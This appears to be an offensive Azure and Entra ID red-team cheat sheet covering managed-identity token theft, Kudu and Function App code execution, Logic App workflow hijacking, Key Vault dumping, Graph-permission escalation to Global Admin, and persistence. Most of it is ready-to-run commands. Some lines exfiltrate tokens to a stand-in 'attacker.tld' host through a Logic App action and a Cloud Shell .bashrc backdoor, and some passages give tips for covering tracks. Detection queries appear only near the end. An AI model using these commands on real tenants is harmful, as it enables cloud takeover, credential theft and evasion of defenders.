cat /var/opt/azcmagent/agentconfig.json
ls /var/opt/azcmagent/tokens/
# identity.json holds the MSI JWT - valid for hours
# Windows
type C:\ProgramData\AzureConnectedMachineAgent\Config\agentconfig.json
type C:\ProgramData\AzureConnectedMachineAgent\Tokens\*.json
# Impersonate Arc machine MSI
curl -H "Metadata: true" \
"http://localhost:40342/metadata/identity/oauth2/token?api-version=2020-06-01&resource=https://management.azure.com"
# Arc Extension RCE (SCM + Custom Script Extension)
az connectedmachine extension create --name CustomScript \
--machine-name <arc_host> -g <rg> --type CustomScriptExtension \
--publisher Microsoft.Compute --settings '{"commandToExecute":"whoami > /tmp/x"}'
# Kudu SCM URL (master credentials give full RCE)
https://<app>.scm.azurewebsites.net
https://<app>.scm.azurewebsites.net/DebugConsole
https://<app>.scm.azurewebsites.net/api/command # POST {"command":"whoami","dir":"."}
# Publish profile = Kudu basic auth
az webapp deployment list-publishing-profiles -g <rg> -n <app> --xml
# Extract <publishProfile profileName="... Web Deploy"> userName / userPWD
# Function App master key (can invoke any function)
az functionapp keys list -g <rg> -n <app>
curl https://<app>.azurewebsites.net/admin/host/keys -H "x-functions-key: <master>"
# Trigger custom function with payload
curl -X POST "https://<app>.azurewebsites.net/api/<fn>?code=<master>" -d '{"cmd":"id"}'
# Deployment slot swap abuse - push malicious code to staging, swap to prod
az webapp deployment slot swap -g <rg> -n <app> --slot staging --target-slot production
AZWebsiteContributor edge: Website Contributor can create or modify any function inside a Function App. If the app has a Managed Identity, the injected function runs in that MI context and can dump its token. BARK primitives automate the full flow:
# Create a new PowerShell function inside a Function App with attacker-controlled script
New-PowerShellFunctionAppFunction -Token $ARMToken `
-FunctionAppName <app> `
-FunctionName evil `
-PowerShellScript @'
$tokenUri = $env:IDENTITY_ENDPOINT + "?resource=https://management.azure.com/&api-version=2019-08-01"
$headers = @{ "X-IDENTITY-HEADER" = $env:IDENTITY_HEADER }
$tok = Invoke-RestMethod -Uri $tokenUri -Headers $headers
Push-OutputBinding -Name Response -Value ([HttpResponseContext]@{ Body = ($tok | ConvertTo-Json) })
'@
# Grab master keys (admin key gives unrestricted function invocation)
Get-AzureFunctionAppMasterKeys -Token $ARMToken -FunctionAppName <app>
# Invoke and pull the MI token out of the HTTP response
Get-AzureFunctionOutput -Token $ARMToken -FunctionAppName <app> -FunctionName evil
Path: AZWebsiteContributor -> create Function -> Function runs as App Service MI -> IMDS token -> MI Azure RM roles.
AZLogicAppContributor edge: Logic App Contributor can modify the workflow JSON. If the Logic App has a System-Assigned or User-Assigned Managed Identity attached, the attacker modifies the workflow to insert an HTTP action that requests a management.azure.com token via the MI and POSTs it to an attacker-controlled endpoint. No code execution needed - the Logic App runtime does the token acquisition.
az logic workflow list -g <rg>
az logic workflow show -g <rg> -n <wf> --query "definition"
# Trigger URL contains HMAC sig - if leaked, anyone can invoke
az rest --method post --url "<triggerUrl>" --body '{"input":"x"}'
# Connector API connection auth tokens (HTTP/SharePoint/O365 connectors)
az resource list --resource-type Microsoft.Web/connections
az rest --method get --url "/subscriptions/<sid>/resourceGroups/<rg>/providers/Microsoft.Web/connections/<name>/listConsentLinks?api-version=2016-06-01"
Workflow hijack to exfil the MI token (drop this action into the workflow definition):
"actions": {
"Get_MI_Token": {
"type": "Http",
"inputs": {
"method": "GET",
"uri": "https://management.azure.com/subscriptions?api-version=2020-01-01",
"authentication": {
"type": "ManagedServiceIdentity",
"audience": "https://management.azure.com/"
}
}
},
"Exfil_Token": {
"runAfter": { "Get_MI_Token": [ "Succeeded" ] },
"type": "Http",
"inputs": {
"method": "POST",
"uri": "https://attacker.tld/collect",
"body": "@{workflow().run.name}::@{actions('Get_MI_Token').outputs}"
}
}
}
Better variant - directly exchange the MI identity for a raw token via the internal workflow identity endpoint and exfil just the bearer:
"Get_Raw_Token": {
"type": "Http",
"inputs": {
"method": "GET",
"uri": "@{concat(parameters('$connections')['managedServiceIdentity']['endpoint'],'?api-version=2017-09-01&resource=https://management.azure.com/')}",
"headers": { "Secret": "@{parameters('$connections')['managedServiceIdentity']['secret']}" }
}
}
PUT the modified definition back:
az logic workflow update -g <rg> -n <wf> --definition @evil.json
az logic workflow trigger run -g <rg> --name <wf> --trigger-name manual
az acr login --name <registry>
az acr repository list --name <registry>
az acr repository show-tags --name <registry> --repository <img>
# Image poisoning (needs push permission)
docker pull <registry>.azurecr.io/<img>:latest
docker build -t <registry>.azurecr.io/<img>:latest . --build-arg BASE=<img>
docker push <registry>.azurecr.io/<img>:latest
# Tag mutation if immutability off
az acr repository untag --name <registry> --image <img>:latest
docker tag evil:latest <registry>.azurecr.io/<img>:latest
# Check if cluster uses kubelet identity vs AAD Pod Identity vs Workload Identity
az aks show -g <rg> -n <cluster> --query identityProfile
# From compromised pod - hit IMDS
kubectl exec -it <pod> -- curl -H "Metadata:true" \
"http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com"
# Hijack node kubelet identity if you control a host-network pod
kubectl run pwn --image=busybox --overrides='{"spec":{"hostNetwork":true}}' \
-- sh -c 'wget -qO- -H "Metadata:true" http://169.254.169.254/metadata/identity/oauth2/token'
# Cluster admin cred from Azure RBAC
az aks get-credentials -g <rg> -n <cluster> --admin
Cloud Shell is a pod in Microsoft-managed AKS with your home dir mounted from an Azure Files share. Stealing the storage key or poisoning .bashrc in the fileshare persists across sessions.
# In an attacker-controlled shell session
cat ~/.azure/accessTokens.json
cat ~/.azure/msal_token_cache.json
cat ~/clouddrive/.bashrc
mount | grep clouddrive # cifs mount to <storageAccount>.file.core.windows.net
# Persist in the fileshare
echo 'curl https://attacker.tld/$(cat ~/.azure/accessTokens.json | base64 -w0)' >> ~/.bashrc
# Snapshot VM disk (needs Disk Snapshot Contributor or Contributor)
az disk list
az snapshot create -g <rg> -n evilSnap --source <disk_id>
az snapshot grant-access -g <rg> -n evilSnap --duration-in-seconds 3600 --access-level Read
# -> Downloadable SAS URL, pull raw VHD, offline secretsdump / mimikatz
# Recovery Services Vault encryption key theft
az backup vault list
az backup vault encryption show --vault-name <v> -g <rg>
# If BYOK Key Vault is compromised, all backups are decryptable
# Key Vault full dump - secrets, keys, certificates (AZGetSecrets / AZGetKeys / AZGetCertificates)
az keyvault list
for v in $(az keyvault list --query "[].name" -o tsv); do
# Secrets
for s in $(az keyvault secret list --vault-name $v --query "[].name" -o tsv); do
az keyvault secret show --vault-name $v -n $s --query value -o tsv
done
# Keys (AZGetKeys - cryptographic keys, often used for disk encryption, BYOK)
for k in $(az keyvault key list --vault-name $v --query "[].name" -o tsv); do
az keyvault key show --vault-name $v -n $k
# Software-protected keys can be downloaded; HSM-backed cannot
az keyvault key download --vault-name $v -n $k -f ${v}_${k}.pem 2>/dev/null
done
# Certificates (AZGetCertificates - often used for mTLS, code signing, SAML)
for c in $(az keyvault certificate list --vault-name $v --query "[].name" -o tsv); do
az keyvault certificate show --vault-name $v -n $c
# Download cert WITH private key (if not HSM)
az keyvault secret download --vault-name $v -n $c -e base64 -f ${v}_${c}.pfx
az keyvault certificate download --vault-name $v -n $c -f ${v}_${c}.pem
done
done
# AZKeyVaultKVContributor GOTCHA - "Key Vault Contributor" manages the vault OBJECT
# but has NO DATA PLANE access. You must first grant yourself read on the data plane:
#
# Access-policy vaults (legacy):
Set-AzKeyVaultAccessPolicy -VaultName <v> -ObjectId <self_oid> \
-PermissionsToSecrets get,list -PermissionsToKeys get,list -PermissionsToCertificates get,list
# az equivalent:
az keyvault set-policy --name <v> --object-id <self_oid> \
--secret-permissions get list --key-permissions get list --certificate-permissions get list
# RBAC-model vaults (enableRbacAuthorization == true):
az role assignment create --role "Key Vault Secrets User" --assignee <self_oid> --scope <vault_id>
az role assignment create --role "Key Vault Certificate User" --assignee <self_oid> --scope <vault_id>
az role assignment create --role "Key Vault Crypto User" --assignee <self_oid> --scope <vault_id>
# Then the az keyvault ... list/show commands above will work.
Bastion sessions are brokered via a PaaS front end. Stolen Bastion connection tokens (JWT) can be replayed until expiry, and if you have Network Contributor on the Bastion subnet you can MitM via NSG log collection or packet capture.
Automation Hybrid Workers execute runbooks on on-prem machines as SYSTEM by default. Compromise automation account -> upload evil runbook targeting the HybridWorkerGroup -> SYSTEM on-prem.
Import-Module Az.Automation
New-AzAutomationRunbook -Name evil -ResourceGroupName <rg> -AutomationAccountName <aa> -Type PowerShell
Set-AzAutomationRunbookContent -Name evil -Path .\evil.ps1 -AutomationAccountName <aa>
Publish-AzAutomationRunbook -Name evil -AutomationAccountName <aa>
Start-AzAutomationRunbook -Name evil -AutomationAccountName <aa> -RunOn <HybridWorkerGroup>
AZAutomationContributor full BARK workflow (automates create / publish / run / read output in one flow):
# Create runbook from raw script text
New-AzureAutomationAccountRunBook -Token $ARMToken `
-AutomationAccountRGName <rg> -AutomationAccountName <aa> `
-RunBookName evil `
-Script @'
$tok = Invoke-RestMethod -Headers @{Metadata="true"} `
-Uri "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/"
Write-Output ($tok | ConvertTo-Json)
'@
# Read captured output (the MI token)
Get-AzureAutomationAccountRunBookOutput -Token $ARMToken `
-AutomationAccountRGName <rg> -AutomationAccountName <aa> -RunBookName evil
Credential sources for the runbook execution context:
Get-AzAutomationCertificate + export.Get-AzAccessToken. This is what the BARK payload above hits.Get-AzAutomationCredential, Get-AzAutomationVariable.Application permissions (aka app roles) grant a Service Principal tenant-wide access with no user context. Any of these on an attacker-controlled SP is effectively tenant takeover.
| Permission | Abuse | Notes |
|---|---|---|
RoleManagement.ReadWrite.Directory |
Assign Global Admin to any principal | Direct path to GA via POST /roleManagement/directory/roleAssignments |
AppRoleAssignment.ReadWrite.All |
Grant any app role (including above) to any SP | Two-hop to GA via the SP |
Application.ReadWrite.All |
Add credentials to any app / SP | Escalate via any privileged SP (often GA) |
Application.ReadWrite.OwnedBy |
Add creds to apps this SP owns | Combine with New-AppOwner (BARK) |
Directory.ReadWrite.All |
Modify users, groups, devices | Group membership manipulation -> inherited roles |
User.ReadWrite.All |
Reset passwords for any non-admin user | Great for persistence on targeted identities |
Group.ReadWrite.All |
Add self to any group incl Azure RBAC / licensing | Watch for role-assignable groups |
GroupMember.ReadWrite.All |
Same as above, group members only | Path to privileged group membership |
Policy.ReadWrite.ConditionalAccess |
Modify or add CA policies | Insert exclusions for attacker account |
Policy.ReadWrite.AuthenticationMethod |
Register FIDO2/Authenticator for any user | MFA backdoor persistence |
Synchronization.ReadWrite.All |
Create / modify sync jobs | Cross-tenant sync backdoor |
PrivilegedAccess.ReadWrite.AzureAD |
PIM activation control | Activate eligible roles for attacker |
EntitlementManagement.ReadWrite.All |
Access package abuse, auto-assign roles | Stealth persistence via access reviews |
Mail.ReadWrite / Mail.Send |
Full mailbox R/W, impersonation | Read every mailbox, send as anyone |
Mail.Send |
Send as any user | Phishing + BEC |
MailboxSettings.ReadWrite |
Create inbox rules, forwarding | Silent exfil |
Files.ReadWrite.All |
Read/write all OneDrive + SharePoint | Data theft + ransomware |
Sites.FullControl.All |
Full SharePoint site collection admin | Modify site permissions, deploy webparts |
Sites.ReadWrite.All |
Read/write every SP site | Same story |
ChannelMessage.Read.All |
Read every Teams channel message | Chat harvest |
Chat.ReadWrite.All |
Read/write every Teams chat | Lateral Teams phish |
TeamsAppInstallation.ReadWriteForUser.All |
Install Teams apps for any user | Persistence via malicious Teams app |
Calendars.ReadWrite |
Read/modify all calendars | Calendar-based phish (CVE-2023-23397 style) |
Contacts.ReadWrite |
Dump all contacts | Target map for next phase |
Notes.ReadWrite.All |
All OneNote | Credentials often stored here |
DeviceManagementConfiguration.ReadWrite.All |
Push Intune policies | SYSTEM on enrolled endpoints |
DeviceManagementManagedDevices.PrivilegedOperations.All |
Remote lock/wipe, fresh start | DoS or pivot |
DeviceManagementRBAC.ReadWrite.All |
Modify Intune RBAC | Persistence |
Domain.ReadWrite.All |
Add/verify domain, federation backdoor | Golden SAML infra |
Organization.ReadWrite.All |
Modify tenant-wide settings | CA exclusions, external collab |
RoleEligibilitySchedule.ReadWrite.Directory |
Create PIM eligible assignments | Shadow admin with long activation window |
Policy.ReadWrite.ApplicationConfiguration |
Modify app consent policies | Lower consent bar for future phishing |
Policy.ReadWrite.PermissionGrant |
Grant consent on behalf of users | Auto-consent phishing |
ExternalIdentity.ReadWrite.All |
Create B2B guests bypass | Guest injection |
ServicePrincipalEndpoint.ReadWrite.All |
Silent AZMGAddOwner on any Service Principal |
Obscure perm. Does not require Application.ReadWrite. Owner-add bypasses portal ACL view entirely. Used by BH to derive AZMGAddOwner paths |
# RoleManagement.ReadWrite.Directory -> assign Global Admin
$body = @{
"@odata.type"="#microsoft.graph.unifiedRoleAssignment"
principalId="<attacker_oid>"
roleDefinitionId="62e90394-69f5-4237-9190-012177145e10" # Global Admin
directoryScopeId="/"
} | ConvertTo-Json
Invoke-RestMethod -Uri https://graph.microsoft.com/v1.0/roleManagement/directory/roleAssignments \
-Method POST -Headers @{Authorization="Bearer $token"} -Body $body -ContentType application/json
# Application.ReadWrite.All -> add password to any app
Invoke-RestMethod -Uri "https://graph.microsoft.com/v1.0/applications/<appObjectId>/addPassword" \
-Method POST -Headers @{Authorization="Bearer $token"} -Body '{}' -ContentType application/json
# AppRoleAssignment.ReadWrite.All -> grant RoleManagement.ReadWrite.Directory to attacker SP
# 9e3f62cf-ca93-4989-b6ce-bf83c28f9fe8 = appRoleId of that permission on MS Graph SP
Invoke-RestMethod -Uri "https://graph.microsoft.com/v1.0/servicePrincipals/<attackerSpId>/appRoleAssignments" \
-Method POST -Headers @{Authorization="Bearer $token"} -Body (@{
principalId="<attackerSpId>";
resourceId="<msgraph_sp_id>";
appRoleId="9e3f62cf-ca93-4989-b6ce-bf83c28f9fe8"
} | ConvertTo-Json)
AZMGGrantAppRoles two-hop escalation (the BH-documented chain):
AppRoleAssignment.ReadWrite.All (by itself, not GA).RoleManagement.ReadWrite.Directory app role on the MS Graph SP (the POST above).POST /roleManagement/directory/roleAssignments.AppRoleAssignment.ReadWrite.All alone is not marked "admin-consent required, equivalent to GA" in most audit tooling, which is why this path is a classic stealth escalation. BH calls the edge AZMGGrantAppRoles.
AZMGGroup / AZMGGroupMember role-assignable carveout: an SP with only Group.ReadWrite.All or GroupMember.ReadWrite.All can add members to REGULAR groups but NOT to role-assignable groups (PAGs, isAssignableToRole == true). Adding members to a role-assignable group requires RoleManagement.ReadWrite.Directory. This is the protection that keeps PAGs from being hijacked by any Group.ReadWrite.All SP.
# Enumerate role-assignable groups (those protected by the carveout)
Get-MgGroup -Filter "isAssignableToRole eq true" -All
AZMGAddMember with GroupMember.ReadWrite.All (BARK):
Add-AZMemberToGroup -Token $GraphToken -TargetGroupId <gid> -UserObjectId <attacker_oid>
Insight: Graph-driven group adds appear in the Audit Logs -> Directory -> Add member to group event, but depending on portal cache can be invisible in the group's Members blade for several minutes - useful for brief persistence windows during an op.
AZExecuteCommand (Intune script push):
# Upload a PowerShell script via DeviceManagementConfiguration.ReadWrite.All
Invoke-RestMethod -Uri "https://graph.microsoft.com/beta/deviceManagement/deviceManagementScripts" `
-Method POST -Headers @{Authorization="Bearer $token"} `
-Body (@{
"@odata.type"="#microsoft.graph.deviceManagementScript"
displayName="update"
scriptContent=[Convert]::ToBase64String([Text.Encoding]::UTF8.GetBytes('whoami > C:\pwn.txt'))
runAsAccount="system"
enforceSignatureCheck=$false
fileName="update.ps1"
} | ConvertTo-Json) -ContentType application/json
Intune log artifact (blue team gold / red team OPSEC trap): the full PowerShell script content is persisted on every executing endpoint at:
C:\ProgramData\Microsoft\IntuneManagementExtension\Logs\IntuneManagementExtension.log
C:\ProgramData\Microsoft\IntuneManagementExtension\Logs\AgentExecutor.log
C:\ProgramData\Microsoft\IntuneManagementExtension\Policies\Scripts\
The content survives the tenant-side deletion of the script policy. Forensic responders find your payload there even after you clean up the Graph side. Red team: plan for this - use short downloader stubs, not inline payloads, and prefer policies that don't run via IntuneManagementExtension where possible.
| Role | Impact |
|---|---|
| Owner | Full control, can assign roles |
| Contributor | Create/manage resources, no role assignment |
| User Access Administrator | Can manage role assignments -> Owner (see AZUserAccessAdministrator) |
| Reader | Read-only, can see secrets in misconfigs |
| VM Contributor | Full VM management + Run Command = SYSTEM |
| VM Administrator Login | RDP/SSH as local admin via Entra creds (see AZVMAdminLogin) |
| VM User Login | RDP/SSH as local user via Entra creds |
| Avere Contributor | Abuse Avere vFXT password reset (see AZAvereContributor) |
| AKS Cluster Admin / AKS Contributor | az aks get-credentials --admin -> cluster admin (see AZAKSContributor) |
| Automation Contributor | Runbook RCE on hybrid worker / Run-As account |
| Logic App Contributor | Modify workflow -> exfil MI token |
| Website Contributor | Kudu RCE + Function App MI dump |
| Key Vault Contributor | Manage vault object but NOT data plane - see AZKeyVaultKVContributor |
UAA is the canonical Azure RM privilege escalation role: it can create role assignments (including Owner) at its scope. BloodHound treats it as a distinct edge because its abuse surface is different from Contributor.
Two entry points:
/, inheriting Owner-assign rights on every subscription.# The toggle (GA only). BH draws AZGlobalAdmin -> AZUserAccessAdministrator after this.
az rest --method post \
--uri "https://management.azure.com/providers/Microsoft.Authorization/elevateAccess?api-version=2016-07-01"
# Post-toggle: assign Owner on every subscription
for sid in $(az account list --query "[].id" -o tsv); do
az role assignment create --assignee <me> --role Owner --scope /subscriptions/$sid
done
# Clean up the elevateAccess (good tradecraft)
az rest --method delete \
--uri "https://management.azure.com/providers/Microsoft.Authorization/elevateAccess?api-version=2016-07-01"
BARK primitives:
Set-AzureRMRoleAssignment -Token $ARMToken -PrincipalId <oid> -RoleDefinitionId <roleId> -Scope <scope>
New-AzureRMRoleAssignment -Token $ARMToken -SubscriptionID <sid> -PrincipalId <oid> -RoleDefinitionName Owner
Detection: Microsoft.Authorization/elevateAccess/action in Azure Activity Log is the single most reliable tenant-takeover IOC. Most orgs never see it.
Virtual Machine Administrator Login is a built-in Azure RBAC role that grants you local Administrator group membership on any VM with the AADLoginForWindows (or AADSSHLoginForLinux) extension installed, authenticated via your Entra credentials. No local account, no password known in advance.
Path: AZVMAdminLogin -> RDP/SSH as <entra_upn> -> local admin -> SYSTEM via UAC bypass -> lateral.
# Enum VMs with the extension
az vm extension list --vm-name <vm> -g <rg> \
--query "[?name=='AADLoginForWindows' || name=='AADSSHLoginForLinux']"
# Or tenant-wide
az vm list --query "[].{name:name,rg:resourceGroup,id:id}" -o tsv | while read name rg id; do
az vm extension list --ids $id --query "[?contains(name,'AADLogin')].name" -o tsv
done
# Assign yourself the role (if you have Owner/UAA)
az role assignment create \
--assignee <my_oid> \
--role "Virtual Machine Administrator Login" \
--scope /subscriptions/<sid>/resourceGroups/<rg>/providers/Microsoft.Compute/virtualMachines/<vm>
# Login (Windows RDP)
mstsc /v:<vm_ip> /u:AzureAD\[email protected]
# Login (Linux SSH)
az ssh vm --ip <ip> --local-user <entra_upn>
az ssh vm --name <vm> -g <rg>
Detection: look for AADLoginForWindows events in VM Security log, plus Microsoft.Compute/virtualMachines/login/action in Activity Log.
Avere vFXT is a niche high-performance NFS/SMB cache appliance. The Avere Contributor built-in role can reset the local admin password on Avere cluster nodes via the Avere Contributor password-reset primitive, which gives you SSH/root on the node VM. BloodHound tracks it specifically because it is one of the few built-in roles whose effective privilege far exceeds its name.
# Enumerate Avere clusters
az resource list --resource-type "Microsoft.AvereVfxt/vfxts"
# Assign the role (if you already have UAA on the RG)
az role assignment create \
--assignee <oid> --role "Avere Contributor" \
--scope /subscriptions/<sid>/resourceGroups/<rg>
# The password reset itself is exposed via the Avere vFXT ARM API
# POST /providers/Microsoft.AvereVfxt/vfxts/<cluster>/resetAdminPassword
Rare but present in BH path-finding if the environment runs Avere. Mention here mainly so learners do not dismiss the edge as unknown.
AKS has a two-layer RBAC story that BH captures with paired edges:
listClusterAdminCredential/action which returns a kubeconfig with cluster-admin RBAC inside the Kubernetes API.MC_<rg>_<cluster>_<region> containing the VMSS nodes, NICs, LB, NSGs. Any role on the parent AKS resource IMPLICITLY extends to this node RG via BH's containment model - you get VMSS RunCommand on the worker nodes without a direct role assignment.Path:
AZAKSContributor -> az aks get-credentials --admin -> kubectl exec -> pod MI token
or
AZAKSContributor -> AZNodeResourceGroup (implicit) -> VMSS Run-Command -> SYSTEM on node -> kubelet cert -> cluster admin
# Enum
az aks list --query "[].{name:name,rg:resourceGroup,nodeRg:nodeResourceGroup}"
# Get cluster-admin kubeconfig (bypasses Entra AuthN on K8s API)
az aks get-credentials -g <rg> -n <cluster> --admin
# Drop into a pod, hit IMDS for MI token
kubectl run pwn --image=alpine -i --tty --rm -- sh
# inside:
wget -qO- -H "Metadata:true" \
"http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com"
# Node RG VMSS RunCommand (via the hidden MC_ RG)
NODE_RG="MC_${RG}_${CLUSTER}_${REGION}"
VMSS=$(az vmss list -g $NODE_RG --query "[0].name" -o tsv)
az vmss run-command invoke -g $NODE_RG --name $VMSS --instance-id 0 \
--command-id RunShellScript --scripts "cat /var/lib/kubelet/config.yaml; id"
BARK primitive:
Invoke-AzureRMAKSRunCommand -Token $ARMToken `
-TargetAKSId "/subscriptions/<sid>/resourceGroups/<rg>/providers/Microsoft.ContainerService/managedClusters/<name>" `
-Command "whoami && curl -H 'Metadata:true' http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com"
# Virtual Machines - RCE
az vm run-command invoke -g <rg> -n <vm> \
--command-id RunPowerShellScript --scripts "whoami"
Set-AzVMExtension -ResourceGroupName <rg> -VMName <vm> \
-Name CustomScript -Publisher Microsoft.Compute \
-ExtensionType CustomScriptExtension -TypeHandlerVersion 1.10 \
-Settings @{"commandToExecute"="cmd.exe /c whoami"}
# Key Vault
az keyvault list
az keyvault secret list --vault-name <name>
Set-AzKeyVaultAccessPolicy -VaultName <name> \
-ObjectId <your_id> -PermissionsToSecrets get,list
# Automation Accounts
Get-AzAutomationAccount | Get-AzAutomationCredential
Get-AzAutomationAccount | Get-AzAutomationVariable
Get-AzAutomationAccount | Get-AzAutomationCertificate
# Storage (Blob + File Shares)
az storage account keys list -g <rg> -n <account>
az storage blob list -c <container> --account-name <name>
az storage share list --account-name <name> --account-key <key>
az storage file download-batch -d . --account-name <name> \
--share-name <share> --pattern "*.log"
# Container Registry
docker login <registry>.azurecr.io -u <user> -p <pass>
docker pull <registry>.azurecr.io/<image>
# App Service
az webapp config appsettings list -g <rg> -n <app>
# Azure DevOps
az devops project list --org https://dev.azure.com/<org>
az pipelines variable-group list --org <org> --project <proj>
Get-AzureADApplication -All $true | Get-AzureADApplicationProxyApplication
# Exposes internal services - check for misconfigs
Get-AADIntAccessTokenForMSGraph
Get-AADIntAccessTokenForAzureCoreManagement
Get-AADIntAccessTokenForEXO
Get-AADIntAccessTokenForSPO
Get-AADIntAccessTokenForAADGraph
Get-AADIntAccessTokenForAdminAndGraphAPI
Set-AADIntDomainAccessToken # export to session
# TokenTactics
Get-DeviceCodeToken && Poll-DeviceCodeToken
Invoke-RefreshToMSGraphToken
Invoke-RefreshToAzureManagementToken
# roadtx - FOCI token switching
roadtx gettokens --refresh-token <token> --client <new_client_id>
# Managed Identity token
curl "$IDENTITY_ENDPOINT?resource=https://management.azure.com \
&api-version=2019-08-01" -H "X-IDENTITY-HEADER: $IDENTITY_HEADER"
# Az PowerShell token
$token = (Get-AzAccessToken -Resource "https://graph.windows.net").Token
| Chain | Steps |
|---|---|
| Password Spray + App Abuse | Spray creds -> enum apps -> RoleManagement.ReadWrite.All -> add secret -> auth as SP -> assign GA |
| Device Code Phish + PIM | Device code phishing -> steal token -> enum PIM eligible roles -> activate GA |
| On-Prem DA -> Azure | DA -> AD Connect -> extract MSOL creds -> DCSync Azure AD |
| Golden SAML | Compromise ADFS -> export signing cert -> forge SAML as GA |
| Application Admin | App Admin role -> add creds to privileged SP -> assign GA via Graph |
| Managed Identity | Compromise VM with MI -> MI has UAA -> assign GA to controlled user |
| Dynamic Group | Modify user attrs to match privileged dynamic group membership rule |
| Intune Admin | Push PowerShell script -> SYSTEM on enrolled devices -> pivot |
| FOCI Token Switch | Steal refresh token -> roadtx switch client ID -> access different API |
| Method | Command / Details |
|---|---|
| App Secret Backdoor | az ad app credential reset --id <appId> --append --years 2 |
| Federation Backdoor | ConvertDomainTo-Federated + attacker-controlled cert |
| Golden SAML | Stolen ADFS signing cert - persists after password reset |
| Elevate Access | Invoke-AzElevatedAccessManagementRoleToggle - GA manages all subs |
| Shadow Admin | Create user + PIM eligible GA with long window |
| Cloud Shell Backdoor | Modify cloud shell container image |
| Automation Runbook | Hide persistence in scheduled runbook |
Key logs: Azure AD Sign-in Logs, Audit Logs, Defender for Cloud Apps alerts, Azure Activity Log, Unified Audit Log (M365)
| Log | What it captures | Latency |
|---|---|---|
| Sign-in Logs (interactive) | User auth, device, IP, CA result, MFA method | ~1-5 min |
| Sign-in Logs (non-interactive) | Refresh, silent, MSAL hidden | ~5-15 min |
| Sign-in Logs (Service Principal) | client_credentials, federated SP auth | ~5-15 min |
| Sign-in Logs (Managed Identity) | MSI token issuance | ~5-15 min |
| Audit Logs | Directory changes, role assigns, app reg edits, federation | ~5-30 min |
| Provisioning Logs | Cross-tenant sync, HR provisioning | ~30 min |
| Microsoft Graph Activity Log (2024 GA) | Every Graph API call against tenant | ~5 min |
| Unified Audit Log (UAL) | M365 (Exchange, SPO, OneDrive, Teams, Power Platform) | ~30 min |
| Defender for Identity | NTLM, PtH, PtT, PtPRT, sync abuse | near real time |
| Defender for Cloud Apps | OAuth grant anomalies, mass download, impossible travel | ~minutes |
| Defender XDR Advanced Hunting | Cross-product KQL | minutes |
// 1. Mass Graph API enumeration from one identity
MicrosoftGraphActivityLogs
| where TimeGenerated > ago(1h)
| summarize Calls=count() by UserId, AppId, RequestUri
| where Calls > 500
// 2. New federated identity credential added (WIF backdoor)
AuditLogs
| where OperationName == "Update application"
| where Result == "success"
| extend props = parse_json(TargetResources[0].modifiedProperties)
| mv-expand props
| where tostring(props.displayName) contains "FederatedIdentityCredentials"
// 3. Conditional Access policy modification
AuditLogs
| where OperationName in ("Update conditional access policy","Add conditional access policy","Delete conditional access policy")
| project TimeGenerated, InitiatedBy, TargetResources, AdditionalDetails
// 4. Suspicious app role assignment (Graph perms granted to SP)
AuditLogs
| where OperationName == "Add app role assignment to service principal"
| extend AppRole = tostring(parse_json(TargetResources[0].modifiedProperties)[1].newValue)
| where AppRole has_any ("RoleManagement.ReadWrite","Application.ReadWrite","Directory.ReadWrite","AppRoleAssignment.ReadWrite")
// 5. Device code phishing detection
SigninLogs
| where AuthenticationProtocol == "deviceCode"
| where AppDisplayName != "Microsoft Authentication Broker"
| summarize count() by UserPrincipalName, IPAddress, AppDisplayName
// 6. Impossible travel + token replay (PRT/cookie theft signal)
SigninLogs
| where ResultType == 0
| summarize Locs=make_set(Location), IPs=make_set(IPAddress), Apps=make_set(AppDisplayName) by UserPrincipalName, bin(TimeGenerated, 1h)
| where array_length(Locs) > 1
// 7. Cross-tenant SP sign-in (multi-tenant illicit consent)
AADServicePrincipalSignInLogs
| where ResourceTenantId != HomeTenantId
| summarize count() by ServicePrincipalName, IPAddress, ResourceDisplayName
// 8. New SP credential added (potential persistence)
AuditLogs
| where OperationName in ("Add service principal credentials","Update application - Certificates and secrets management")
| project TimeGenerated, InitiatedBy, TargetResources
// 9. Global Admin assignment outside change window
AuditLogs
| where OperationName == "Add member to role"
| extend Role = tostring(TargetResources[0].modifiedProperties[1].newValue)
| where Role contains "Global Administrator"
| where hourofday(TimeGenerated) !between (8 .. 18)
// 10. Storm-0558 style token anomaly - signed by unexpected key
SigninLogs
| where TokenIssuerType == "AzureAD"
| where SignInIdentifier !endswith "@target.com"
| where AuthenticationDetails has "appliedConditionalAccessPolicies"
MDI sensors on DCs and AD Connect servers detect: